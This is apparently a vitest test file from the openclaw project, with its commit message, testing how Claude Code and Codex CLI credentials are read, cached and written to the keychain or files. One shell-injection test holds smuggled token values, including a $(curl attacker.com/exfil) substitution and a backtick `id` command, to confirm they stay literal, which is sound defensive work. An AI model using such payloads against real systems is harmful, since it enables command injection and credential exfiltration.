Files
openclaw/src/agents/cli-credentials.test.ts
pomelo dad68d319b Remove Qwen OAuth integration (qwen-portal-auth) (#52709)
* Remove Qwen OAuth integration (qwen-portal-auth)

Qwen OAuth via portal.qwen.ai is being deprecated by the Qwen team due
to traffic impact on their primary Qwen Code user base. Users should
migrate to the officially supported Model Studio (Alibaba Cloud Coding
Plan) provider instead.

Ref: https://github.com/openclaw/openclaw/issues/49557

- Delete extensions/qwen-portal-auth/ plugin entirely
- Remove qwen-portal from onboarding auth choices, provider aliases,
  auto-enable list, bundled plugin defaults, and pricing cache
- Remove Qwen CLI credential sync (external-cli-sync, cli-credentials)
- Remove QWEN_OAUTH_MARKER from model auth markers
- Update docs/providers/qwen.md to redirect to Model Studio
- Update model-providers docs (EN + zh-CN) to remove Qwen OAuth section
- Regenerate config and plugin-sdk baselines
- Update all affected tests

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* Clean up residual qwen-portal references after OAuth removal

* Add migration hint for deprecated qwen-portal OAuth provider

* fix: finish qwen oauth removal follow-up

---------

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
Co-authored-by: Frank Yang <frank.ekn@gmail.com>
2026-03-26 16:32:34 +08:00

358 lines
11 KiB
TypeScript

import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
const execSyncMock = vi.fn();
const execFileSyncMock = vi.fn();
const CLI_CREDENTIALS_CACHE_TTL_MS = 15 * 60 * 1000;
let readClaudeCliCredentialsCached: typeof import("./cli-credentials.js").readClaudeCliCredentialsCached;
let readCodexCliCredentialsCached: typeof import("./cli-credentials.js").readCodexCliCredentialsCached;
let resetCliCredentialCachesForTest: typeof import("./cli-credentials.js").resetCliCredentialCachesForTest;
let writeClaudeCliKeychainCredentials: typeof import("./cli-credentials.js").writeClaudeCliKeychainCredentials;
let writeClaudeCliCredentials: typeof import("./cli-credentials.js").writeClaudeCliCredentials;
let readCodexCliCredentials: typeof import("./cli-credentials.js").readCodexCliCredentials;
function mockExistingClaudeKeychainItem() {
execFileSyncMock.mockImplementation((file: unknown, args: unknown) => {
const argv = Array.isArray(args) ? args.map(String) : [];
if (String(file) === "security" && argv.includes("find-generic-password")) {
return JSON.stringify({
claudeAiOauth: {
accessToken: "old-access",
refreshToken: "old-refresh",
expiresAt: Date.now() + 60_000,
},
});
}
return "";
});
}
function getAddGenericPasswordCall() {
return execFileSyncMock.mock.calls.find(
([binary, args]) =>
String(binary) === "security" &&
Array.isArray(args) &&
(args as unknown[]).map(String).includes("add-generic-password"),
);
}
async function readCachedClaudeCliCredentials(allowKeychainPrompt: boolean) {
return readClaudeCliCredentialsCached({
allowKeychainPrompt,
ttlMs: CLI_CREDENTIALS_CACHE_TTL_MS,
platform: "darwin",
execSync: execSyncMock,
});
}
function createJwtWithExp(expSeconds: number): string {
const encode = (value: Record<string, unknown>) =>
Buffer.from(JSON.stringify(value)).toString("base64url");
return `${encode({ alg: "RS256", typ: "JWT" })}.${encode({ exp: expSeconds })}.signature`;
}
describe("cli credentials", () => {
beforeAll(async () => {
({
readClaudeCliCredentialsCached,
readCodexCliCredentialsCached,
resetCliCredentialCachesForTest,
writeClaudeCliKeychainCredentials,
writeClaudeCliCredentials,
readCodexCliCredentials,
} = await import("./cli-credentials.js"));
});
beforeEach(() => {
vi.useFakeTimers();
});
afterEach(() => {
vi.useRealTimers();
execSyncMock.mockClear().mockImplementation(() => undefined);
execFileSyncMock.mockClear().mockImplementation(() => undefined);
delete process.env.CODEX_HOME;
resetCliCredentialCachesForTest();
});
it("updates the Claude Code keychain item in place", async () => {
mockExistingClaudeKeychainItem();
const ok = writeClaudeCliKeychainCredentials(
{
access: "new-access",
refresh: "new-refresh",
expires: Date.now() + 60_000,
},
{ execFileSync: execFileSyncMock },
);
expect(ok).toBe(true);
// Verify execFileSync was called with array args (no shell interpretation)
expect(execFileSyncMock).toHaveBeenCalledTimes(2);
const addCall = getAddGenericPasswordCall();
expect(addCall?.[0]).toBe("security");
expect((addCall?.[1] as string[] | undefined) ?? []).toContain("-U");
});
it("prevents shell injection via untrusted token payload values", async () => {
const cases = [
{
access: "x'$(curl attacker.com/exfil)'y",
refresh: "safe-refresh",
expectedPayload: "x'$(curl attacker.com/exfil)'y",
},
{
access: "safe-access",
refresh: "token`id`value",
expectedPayload: "token`id`value",
},
] as const;
for (const testCase of cases) {
execFileSyncMock.mockClear();
mockExistingClaudeKeychainItem();
const ok = writeClaudeCliKeychainCredentials(
{
access: testCase.access,
refresh: testCase.refresh,
expires: Date.now() + 60_000,
},
{ execFileSync: execFileSyncMock },
);
expect(ok).toBe(true);
// Token payloads must remain literal in argv, never shell-interpreted.
const addCall = getAddGenericPasswordCall();
const args = (addCall?.[1] as string[] | undefined) ?? [];
const wIndex = args.indexOf("-w");
const passwordValue = args[wIndex + 1];
expect(passwordValue).toContain(testCase.expectedPayload);
expect(addCall?.[0]).toBe("security");
}
});
it("falls back to the file store when the keychain update fails", async () => {
const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-"));
const credPath = path.join(tempDir, ".claude", ".credentials.json");
fs.mkdirSync(path.dirname(credPath), { recursive: true, mode: 0o700 });
fs.writeFileSync(
credPath,
`${JSON.stringify(
{
claudeAiOauth: {
accessToken: "old-access",
refreshToken: "old-refresh",
expiresAt: Date.now() + 60_000,
},
},
null,
2,
)}\n`,
"utf8",
);
const writeKeychain = vi.fn(() => false);
const ok = writeClaudeCliCredentials(
{
access: "new-access",
refresh: "new-refresh",
expires: Date.now() + 120_000,
},
{
platform: "darwin",
homeDir: tempDir,
writeKeychain,
},
);
expect(ok).toBe(true);
expect(writeKeychain).toHaveBeenCalledTimes(1);
const updated = JSON.parse(fs.readFileSync(credPath, "utf8")) as {
claudeAiOauth?: {
accessToken?: string;
refreshToken?: string;
expiresAt?: number;
};
};
expect(updated.claudeAiOauth?.accessToken).toBe("new-access");
expect(updated.claudeAiOauth?.refreshToken).toBe("new-refresh");
expect(updated.claudeAiOauth?.expiresAt).toBeTypeOf("number");
});
it("caches Claude Code CLI credentials within the TTL window", async () => {
execSyncMock.mockImplementation(() =>
JSON.stringify({
claudeAiOauth: {
accessToken: "cached-access",
refreshToken: "cached-refresh",
expiresAt: Date.now() + 60_000,
},
}),
);
vi.setSystemTime(new Date("2025-01-01T00:00:00Z"));
const first = await readCachedClaudeCliCredentials(true);
const second = await readCachedClaudeCliCredentials(false);
expect(first).toBeTruthy();
expect(second).toEqual(first);
expect(execSyncMock).toHaveBeenCalledTimes(1);
});
it("refreshes Claude Code CLI credentials after the TTL window", async () => {
execSyncMock.mockImplementation(() =>
JSON.stringify({
claudeAiOauth: {
accessToken: `token-${Date.now()}`,
refreshToken: "refresh",
expiresAt: Date.now() + 60_000,
},
}),
);
vi.setSystemTime(new Date("2025-01-01T00:00:00Z"));
const first = await readCachedClaudeCliCredentials(true);
vi.advanceTimersByTime(CLI_CREDENTIALS_CACHE_TTL_MS + 1);
const second = await readCachedClaudeCliCredentials(true);
expect(first).toBeTruthy();
expect(second).toBeTruthy();
expect(execSyncMock).toHaveBeenCalledTimes(2);
});
it("reads Codex credentials from keychain when available", async () => {
const tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-codex-"));
process.env.CODEX_HOME = tempHome;
const expSeconds = Math.floor(Date.parse("2026-03-23T00:48:49Z") / 1000);
const accountHash = "cli|";
execSyncMock.mockImplementation((command: unknown) => {
const cmd = String(command);
expect(cmd).toContain("Codex Auth");
expect(cmd).toContain(accountHash);
return JSON.stringify({
tokens: {
access_token: createJwtWithExp(expSeconds),
refresh_token: "keychain-refresh",
},
last_refresh: "2026-01-01T00:00:00Z",
});
});
const creds = readCodexCliCredentials({ platform: "darwin", execSync: execSyncMock });
expect(creds).toMatchObject({
access: createJwtWithExp(expSeconds),
refresh: "keychain-refresh",
provider: "openai-codex",
expires: expSeconds * 1000,
});
});
it("falls back to Codex auth.json when keychain is unavailable", async () => {
const tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-codex-"));
process.env.CODEX_HOME = tempHome;
const expSeconds = Math.floor(Date.parse("2026-03-24T12:34:56Z") / 1000);
execSyncMock.mockImplementation(() => {
throw new Error("not found");
});
const authPath = path.join(tempHome, "auth.json");
fs.mkdirSync(tempHome, { recursive: true, mode: 0o700 });
fs.writeFileSync(
authPath,
JSON.stringify({
tokens: {
access_token: createJwtWithExp(expSeconds),
refresh_token: "file-refresh",
},
}),
"utf8",
);
const creds = readCodexCliCredentials({ execSync: execSyncMock });
expect(creds).toMatchObject({
access: createJwtWithExp(expSeconds),
refresh: "file-refresh",
provider: "openai-codex",
expires: expSeconds * 1000,
});
});
it("invalidates cached Codex credentials when auth.json changes within the TTL window", () => {
const tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-codex-cache-"));
process.env.CODEX_HOME = tempHome;
const authPath = path.join(tempHome, "auth.json");
const firstExpiry = Math.floor(Date.parse("2026-03-24T12:34:56Z") / 1000);
const secondExpiry = Math.floor(Date.parse("2026-03-25T12:34:56Z") / 1000);
try {
fs.mkdirSync(tempHome, { recursive: true, mode: 0o700 });
fs.writeFileSync(
authPath,
JSON.stringify({
tokens: {
access_token: createJwtWithExp(firstExpiry),
refresh_token: "stale-refresh",
},
}),
"utf8",
);
fs.utimesSync(authPath, new Date("2026-03-24T10:00:00Z"), new Date("2026-03-24T10:00:00Z"));
vi.setSystemTime(new Date("2026-03-24T10:00:00Z"));
const first = readCodexCliCredentialsCached({
ttlMs: CLI_CREDENTIALS_CACHE_TTL_MS,
platform: "linux",
execSync: execSyncMock,
});
expect(first).toMatchObject({
refresh: "stale-refresh",
expires: firstExpiry * 1000,
});
fs.writeFileSync(
authPath,
JSON.stringify({
tokens: {
access_token: createJwtWithExp(secondExpiry),
refresh_token: "fresh-refresh",
},
}),
"utf8",
);
fs.utimesSync(authPath, new Date("2026-03-24T10:05:00Z"), new Date("2026-03-24T10:05:00Z"));
vi.advanceTimersByTime(60_000);
const second = readCodexCliCredentialsCached({
ttlMs: CLI_CREDENTIALS_CACHE_TTL_MS,
platform: "linux",
execSync: execSyncMock,
});
expect(second).toMatchObject({
refresh: "fresh-refresh",
expires: secondExpiry * 1000,
});
} finally {
fs.rmSync(tempHome, { recursive: true, force: true });
}
});
});